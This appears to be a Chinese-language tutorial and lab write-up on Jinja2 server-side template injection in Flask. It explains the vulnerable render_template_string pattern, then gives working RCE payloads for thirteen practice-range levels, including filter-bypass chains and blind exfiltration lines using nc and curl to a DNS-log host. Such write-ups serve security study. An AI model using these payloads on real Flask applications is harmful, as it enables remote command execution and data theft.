7

从Flask入门SSTI

 3 years ago
source link: https://blog.csdn.net/qq_43936524/article/details/116306294
Go to the source link to view the article. You can view the picture content, updated content and better typesetting reading experience. If the link is broken, please click the button below to view the snapshot at that time.

flask基本知识

flask采用装饰器来指定路由,默认的模板渲染引擎为Jinja2。其中模板的三种主要语法为

  • {{ … }}:装载一个变量,渲染模板的时候,可以传入变量名和变量值模板会自动替换变量为传入的变量值
  • {% … %}:装载一个控制语句
  • {# … #}:装载一个注释

字符串形式返回

下面这段代码中/study指定了127.0.0.1:5000/study的请求由study视图函数处理,路由中可以自己添加规则/study/<name>那么访问/study/kit时name在服务端就会被赋值为kit。返回内容可以选择直接返回一个字符串

@app.route('/study/<name>')
def study(name):
    return "Hello %s" % name

在这里插入图片描述

render_template

除了直接返回字符串还可以通过render_template函数指定一个模板内容进行渲染返回

templates:
<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <title>study</title>
</head>
<body>
    {{ data }}
</body>
</html>

@app.route('/study')
def study():
    return render_template("study.html", data="Hello World")

而函数返回了study.html的内容。由于模板中有{{ data }},且返回函数中指定了data为Hello World所以最后返回的结果为
在这里插入图片描述

render_template_string

除了上述两个返回的形式以外还有一个返回函数为render_template_stringrender_template不同之处在于该函数传入一个字符串而不是一个模板文件,这个函数也是与SSTI漏洞息息相关的一个函数,下面用两种写法来看一下渲染的不同。

@app.route('/xss/<payload>')
def xsstese(payload):
    # 1.字符串中插入用户输入的内容
    html = "<p> %s </p>" % payload
    return render_template_string(html)
    # 2.利用函数来插入用户输入的内容
    html = "<p> {{ data }} </p>"
    return render_template_string(html, data=payload)

第一种输入XSS payload会弹窗,而第二种不会
第一种返回内容:
在这里插入图片描述
第二种返回内容:
在这里插入图片描述
可以看出如果采用函数去动态渲染会自动对内容做html实体转义

而如果传入一个模板语法的内容如{{ 49 }},第一种渲染结果为49而第二种为{{ 7*7 }},看到49其实漏洞的产生原因就已经很明确了,服务端采用了render_template_string不安全的返回写法,导致了用户可以传入模板语言从而导致任意代码执行等问题。如传入{{ config }}
在这里插入图片描述

攻击链构造

通过上文对不安全的render_template_string函数的写法已经大概明白了SSTI产生的原因,接下来看下SSTI中如何构造攻击链。
构造攻击链主要可以通过寻找命令执行api文件读取api两个方向进行。
首先了解一下python中常见的魔法函数

__class__  返回类型所属的对象(类)

// 寻找基类的办法
__mro__    返回一个包含对象所继承的基类元组,方法在解析时按照元组的顺序解析。
__base__   返回该对象所继承的基类

// 找到object后 执行函数的方法
__subclasses__   每个新类都保留了子类的引用,这个方法返回一个类中仍然可用的的引用的列表
__init__  类的初始化方法
__globals__  对包含函数全局变量的字典的引用

下面通过一些内置对象完成这一整条攻击链
(实验环境为python 3.7与python2环境找攻击链略有不同 不过整体思路没有太大差异)

"".__class__  # 获得自身类<class 'str'>
"".__class__.__mro__  # 获得基类(<class 'str'>, <class 'object'>)
"".__class__.__mro__[1].__subclasses__() # 获得大量子类

<class 'type'>
<class 'weakref'>
<class 'weakcallableproxy'>
<class 'weakproxy'>
<class 'int'>
<class 'bytearray'>
<class 'bytes'>
<class 'list'>
<class 'NoneType'>
<class 'NotImplementedType'>
<class 'traceback'>
<class 'super'>
......

接下来要在这些子类中寻找到全局模块包含os库的目标子类
首先解释下如何获得全局命名空间的内容

if __name__ == '__main__':
    def hello():
        import os
        os.system("dir")

    a = "全局变量a"

    class TestC:
        def __init__(self):
            print("创建了Test类")

        def testfunction(self):
            print("类内置的函数")

    os.system("echo hello world")

看这个例子,分别定义了一个类,一个函数,和一个变量,最后执行os库中的system函数,很容易可以看出这样执行会爆出错误,因为os是在hello函数的局部作用域中引入的,全局作用域中是无法直接执行的,那么我们的问题是如何通过testC这个类来执行hello函数呢

global_dic = TestC.__init__.__globals__
for key in list(global_dic):
    print(key)

__name__
__doc__
__package__
__loader__
__spec__
__annotations__
__builtins__
__file__
__cached__
hello
a
TestC
global_dic

可以看到除了加载器自动加载的模块外还有变量a 函数hello等

global_dic = TestC.__init__.__globals__['hello']() 

通过调取global命名空间的hello函数即可完成调用os.system('dir')的目的

接下来继续看刚才拿到的子类,我们可以通过遍历subclass.__init__.__globals__中的模块来寻找含有os模块的子类。

object_subclass = "".__class__.__mro__[1].__subclasses__()
for i in range(len(object_subclass)):
    try:
        global_dic = object_subclass[i].__init__.__globals__
        for key in list(global_dic):
            if "os" == key or "_os" == key:
                print("index : {0}  subclassName : {1} key : {2}".format(i, global_dic['__name__'],key))
    except:
        pass

通过上面的脚本可以得到一部分目标子类,最后即可执行os的system函数从而执行系统命令

target_class = subclass[91]
target_class.__init__.__globals__['_os'].system("dir")

连在一起
"".__class__.__mro__[1].__subclasses__()[91].__init__.__globals__['_os'].system("dir")
在这里插入图片描述
攻击链的构造多种多样还有通过flask本身的内置函数以及对象构造,以及利用内置命名空间__builtins__来构造,接下来通过一个靶场来看下在不同过滤情况下的构造思路。

靶场通关记录

level1(无WAF)

基类 – 子类 – bulitins链

1.首先寻找基类
fuzz后下图的payload都可以找到object基类
在这里插入图片描述
2.寻找符合条件的子类

{% for sub in "".__class__.__mro__[1].__subclasses__() %}{% print sub.__name__ %}{% endfor %}

在这里插入图片描述
3.利用WarningMessage的__bulitins__执行代码

 {%for sub in ''.__class__.__base__.__subclasses__()%}{%if "Warn" in sub.__name__%}{%print sub.__init__.__globals__['__builtins__']['eval']('__import__("os").popen("type flag").read()')%}{%endif%}{%endfor%}

在这里插入图片描述

内置对象 – 全局命名空间 – builtins链

也可以通过内置对象的全局空间,然后利用__bulitin__os模块执行
在这里插入图片描述
找到__bulitins__后与上述构造相同
在这里插入图片描述

{{url_for.__globals__['__builtins__']['eval']("__import__('os').popen('type flag').read()")}}

通过config也可以构造这条链
{{config.__init__.__globals__['__builtins__']['eval']("__import__('os').popen('type flag').read()")}}

以及lipsum函数的攻击链
{{lipsum.__globals__['os'].popen('type flag').read()}}

level2(bl[’{{’])

上面第一种寻找基类再寻找子类的构造方法只用到了{% %},可以直接使用

{%for sub in ''.__class__.__base__.__subclasses__()%}{%if "Warn" in sub.__name__%}{%print sub.__init__.__globals__['__builtins__']['eval']('__import__("os").popen("type flag").read()')%}{%endif%}{%endfor%}

或者不采用{{}}来展示数据,使用{% print %}

{% print url_for.__globals__['__builtins__']['eval']("__import__('os').popen('type flag').read()") %}

level3(Blind)

没有waf,通过vps监听或者dns解析记录可以得到数据
vps监听

{{config.__init__.__globals__['__builtins__']['eval']("__import__('os').popen('cat flag|nc ip').read()")}}

dns记录

{{config.__init__.__globals__['__builtins__']['eval']("__import__('os').popen('curl http://`cat flag`.dq80ni.dnslog.cn').read()")}}

level4(bl[’[’, ‘]’])

构造中一般利用[]从字典中提取key的值,除了[]外还可以采用__getitem__提取

WarningMessage利用链

{% for sub in ().__class__.__base__.__subclasses__() %}{% if 'Warn' in sub.__name__ %}{% print sub.__init__.__globals__.__getitem__("__builtins__").__getitem__("eval")('__import__("os").popen("type flag").read()') %}{% endif %}{% endfor %}

_wrap_close利用链

{%for i in ''.__class__.__base__.__subclasses__()%}{%if i.__name__ =='_wrap_close'%}{%print i.__init__.__globals__.__getitem__('popen')('type flag').read()%}{%endif%}{%endfor%}

level5(bl[’’’, ‘"’])

过滤单双引号意味着无法指定key值,可以采用传入参数的形式来替代要使用的字符串。flask中request对象可以提取出用户传入参数
内置函数url_for

{{url_for.__globals__.__getitem__(request.cookies.p1).eval(request.cookies.p2)}}
Cookie:p1=__builtins__;p2=__import__('os').popen('type flag').read()

level6(bl[’_’])

所有的魔术方法都采用attr过滤器+request传值的方式获取

config.__class__.__init__.__globals__.__getitem__("os").popen("type flag").read()

对上面的payload进行变形 以.分割把所有带有_转换为attr过滤器从request中取值

Cookie:class=__class__;init=__init__;globals=__globals__;getitem=__getitem__;

{{config|attr(request.cookies.class)|attr(request.cookies.init)|attr(request.cookies.globals)|attr(request.cookies.getitem)("os")|attr("popen")("type flag")|attr("read")()}}

level7(bl[’.’])

与上面一关相同把.换为attr过滤器

{{config|attr("__class__")|attr("__init__")|attr("__globals__")|attr("__getitem__")("os")|attr("popen")("type flag")|attr("read")()}}

level8(过滤常见函数关键字)

waf: bl[“class”, “arg”, “form”, “value”, “data”, “request”, “init”, “global”, “open”, “mro”, “base”, “attr”]
采用拼接构造

{%for i in ""["__cla""ss__"]["__mr""o__"][1]["__subcla""sses__"]()%}{%if i.__name__ == "_wrap_close"%}{%print i["__in""it__"]["__glo""bals__"]["po""pen"]('type flag')["re""ad"]()%}{%endif%}{%endfor%}

如果采用WarningMessage那条链暂时没想到('__import__("os").popen("type flag").read()')怎么替换

level9(过滤数字)

直接用第一关的payload打

 {%for sub in ''.__class__.__base__.__subclasses__()%}{%if "Warn" in sub.__name__%}{%print sub.__init__.__globals__['__builtins__']['eval']('__import__("os").popen("type flag").read()')%}{%endif%}{%endfor%}

level10(config)

禁止了内置对象config,同上

 {%for sub in ''.__class__.__base__.__subclasses__()%}{%if "Warn" in sub.__name__%}{%print sub.__init__.__globals__['__builtins__']['eval']('__import__("os").popen("type flag").read()')%}{%endif%}{%endfor%}

level11

waf:
[’\’’, ‘"’, ‘+’, ‘request’, ‘.’, ‘[’, ‘]’]
{{lipsum.__globals__['os'].popen('type flag').read()}}
采用lipsum这个内置函数的攻击链来构造
首先把所有的.替换为attr过滤器

{{lipsum|attr("__globals__")|attr("get")("os")|attr("popen")("type flag")|attr("read")()}}

接下来替换所有的双引号
可以通过set设置变量的方法搭配join过滤器

构造的基本知识

1 通过set可以给字符串赋值,通过dict和join可以获得绕过引号获取字符串
{% set r=dict(read=1)|join %}{{r}}可以将变量r 赋值为 read

2 {{lipsum|string|list}}可以获得一个列表

[’<’, ‘f’, ‘u’, ‘n’, ‘c’, ‘t’, ‘i’, ‘o’, ‘n’, ’ ', ‘g’, ‘e’, ‘n’, ‘e’, ‘r’, ‘a’, ‘t’, ‘e’, ‘’, ‘l’, ‘o’, ‘r’, ‘e’, ‘m’, '’, ‘i’, ‘p’, ‘s’, ‘u’, ‘m’, ’ ', ‘a’, ‘t’, ’ ', ‘0’, ‘x’, ‘0’, ‘0’, ‘0’, ‘0’, ‘0’, ‘1’, ‘A’, ‘F’, ‘D’, ‘D’, ‘9’, ‘9’, ‘2’, ‘A’, ‘6’, ‘8’, ‘>’]

通过pop取出对应下表的值就可以获得需要的字符,例如第十八位可以获得下划线
{{(lipsum|string|list).pop(18)}} --> _

构造过程

1.替换仅包含字母的字符串
{% set read=dict(read=1)|join%}
{% set popen=dict(popen=1)|join%}
{% set get=dict(get=1)|join%}
{% set os=dict(os=1)|join%}
{{lipsum|attr("__globals__")|attr(get)(os)|attr(popen)("type flag")|attr(read)()}}
2.构造__globals__
{% set pop=dict(pop=1)|join %}
{% set underline=(lipsum|string|list)|attr(pop)(18) %}
{% set global=(underline,underline,dict(globals=1)|join,underline,underline)|join%}
{{lipsum|attr(global)|attr(get)(os)|attr(popen)("type flag")|attr(read)()}}
3.构造命令
{% set type=dict(type=1)|join %}
{% set flag=dict(flag=1)|join %}
{% set space=(lipsum|string|list)|attr(pop)(9) %}
{% set cmd=(type,space,flag)|join%}
最终payload
{{lipsum|attr(global)|attr(get)(os)|attr(popen)(cmd)|attr(read)()}}

在这里插入图片描述

level12

waf:
bl[’_’, ‘.’, ‘0-9’, ‘\’, ‘’’, ‘"’, ‘[’, ‘]’]

比上一关多过滤了数字
可以通过index函数去从列表中获得指定字符串的下标,从而获得数字
从上关的payload可以看出来需要9和18两个数字,来获得下划线和空格

1.获得数字 3 和 2
{% set index=dict(index=a)|join %}
// n下标为3 u下标为2
{% set n=dict(n=a)|join %}
{% set u=dict(u=a)|join %}
{% set three=(lipsum|string|list)|attr(index)(n) %}
{% set two=(lipsum|string|list)|attr(index)(u) %}
2.获得下划线和空格
{% set pop=dict(pop=1)|join %}
{% set underline=(lipsum|string|list)|attr(pop)(two*three*three)%}
{% set space=(lipsum|string|list)|attr(pop)(three*three) %}
3.最终的payload
{% set read=dict(read=a)|join%}
{% set popen=dict(popen=a)|join%}
{% set get=dict(get=a)|join%}
{% set os=dict(os=a)|join%}
{% set pop=dict(pop=a)|join %}
{% set index=dict(index=a)|join %}
{% set n=dict(n=a)|join %}
{% set u=dict(u=a)|join %}
{% set three=(lipsum|string|list)|attr(index)(n) %}
{% set two=(lipsum|string|list)|attr(index)(u) %}
{% set underline=(lipsum|string|list)|attr(pop)(two*three*three)%}
{% set global=(underline,underline,dict(globals=a)|join,underline,underline)|join%}
{% set type=dict(type=a)|join %}
{% set flag=dict(flag=a)|join %}
{% set space=(lipsum|string|list)|attr(pop)(three*three) %}
{%set cmd=(type,space,flag)|join%}
{{lipsum|attr(global)|attr(get)(os)|attr(popen)(cmd)|attr(read)()}}

level13

waf
bl[’_’, ‘.’, ‘\’, ‘’’, ‘"’, ‘request’, ‘+’, ‘class’, ‘init’, ‘arg’, ‘config’, ‘app’, ‘self’, ‘[’, ‘]’]

过滤了几个关键字
与level12用相同的payload

找基类的常见payload:

1.通过内置对象
#python2.7
''.__class__.__mro__[2]
{}.__class__.__bases__[0]
().__class__.__bases__[0]
[].__class__.__bases__[0]
request.__class__.__mro__[1]
#python3.7
''.__class__.__mro__[1]
{}.__class__.__bases__[0]
().__class__.__bases__[0]
[].__class__.__bases__[0]
[].__class__.__base__
().__class__.__base__
{}.__class__.__base__
2.通过flask
request.__class__.__mro__[1]
session.__class__.__mro__[1]
redirect.__class__.__mro__[1]

找可以利用的子类

python3 一些利用类
index : 75  subclassName : _ModuleLock  key : __builtins__
index : 76  subclassName : _DummyModuleLock  key : __builtins__
index : 77  subclassName : _ModuleLockManager  key : __builtins__
index : 78  subclassName : _installed_safely  key : __builtins__
index : 79  subclassName : ModuleSpec  key : __builtins__
index : 91  subclassName : FileLoader  key : __builtins__
index : 91  subclassName : FileLoader  key : _os
index : 92  subclassName : _NamespacePath  key : __builtins__
index : 92  subclassName : _NamespacePath  key : _os
index : 93  subclassName : _NamespaceLoader  key : __builtins__
index : 93  subclassName : _NamespaceLoader  key : _os
index : 95  subclassName : FileFinder  key : __builtins__
index : 95  subclassName : FileFinder  key : _os
index : 103  subclassName : IncrementalEncoder  key : __builtins__
index : 104  subclassName : IncrementalDecoder  key : __builtins__
index : 105  subclassName : StreamReaderWriter  key : __builtins__
index : 106  subclassName : StreamRecoder  key : __builtins__
index : 128  subclassName : _wrap_close  key : __builtins__
index : 129  subclassName : Quitter  key : __builtins__
index : 130  subclassName : _Printer  key : __builtins__
index : 137  subclassName : DynamicClassAttribute  key : __builtins__
index : 138  subclassName : _GeneratorWrapper  key : __builtins__
index : 139  subclassName : WarningMessage  key : __builtins__
index : 140  subclassName : catch_warnings  key : __builtins__
index : 167  subclassName : Repr  key : __builtins__
index : 174  subclassName : partialmethod  key : __builtins__
index : 176  subclassName : _GeneratorContextManagerBase  key : __builtins__
index : 177  subclassName : _BaseExitStack  key : __builtins__

Process finished with exit code 0


python2
index : 59  subclassName : WarningMessage  key : __builtins__
index : 60  subclassName : catch_warnings  key : __builtins__
index : 61  subclassName : _IterationGuard  key : __builtins__
index : 62  subclassName : WeakSet  key : __builtins__
index : 72  subclassName : _Printer  key : __builtins__
index : 72  subclassName : _Printer  key : os
index : 77  subclassName : Quitter  key : __builtins__
index : 77  subclassName : Quitter  key : os
index : 78  subclassName : IncrementalEncoder  key : __builtins__
index : 79  subclassName : IncrementalDecoder  key : __builtins__

找子类模板语句

{% for sub in "".__class__.__mro__[1].__subclasses__() %}{% print sub.__name__ %}{% endfor %}

找指定子类模板语句

{% for sub in ().__class__.__base__.__subclasses__() %}{% if 'Warn' in sub.__name__ %}{% print sub.__name__ %}{% endif %}{% endfor %}

两种命令执行

# os类型子类
target_class.__init__.__globals__['_os'].system("dir")
# __builtins__类型子类
target_class.__init__.__globals__['__builtins__']['eval']('__import__("os").popen("dir").read()

命令执行payload:
{%for sub in ''.__class__.__base__.__subclasses__()%}{%if "Warn" in sub.__name__%}{%print sub.__init__.__globals__['__builtins__']['eval']('__import__("os").popen("type flag").read()')%}{%endif%}{%endfor%}

{%for i in ''.__class__.__base__.__subclasses__()%}{%if i.__name__ =='_wrap_close'%}{%print i.__init__.__globals__.__getitem__('popen')('type flag').read()%}{%endif%}{%endfor%}

内置对象的payload
config.__class__.__init__.__globals__.__getitem__("os").popen("type flag").read()

{{url_for.__globals__['__builtins__']['eval']("__import__('os').popen('type flag').read()")}}

{{lipsum.__globals__['os'].popen('type flag').read()}}

参考文章:
https://www.cnblogs.com/-chenxs/p/11971164.html
Github SSTI靶场 wp


About Joyk


Aggregate valuable and interesting links.
Joyk means Joy of geeK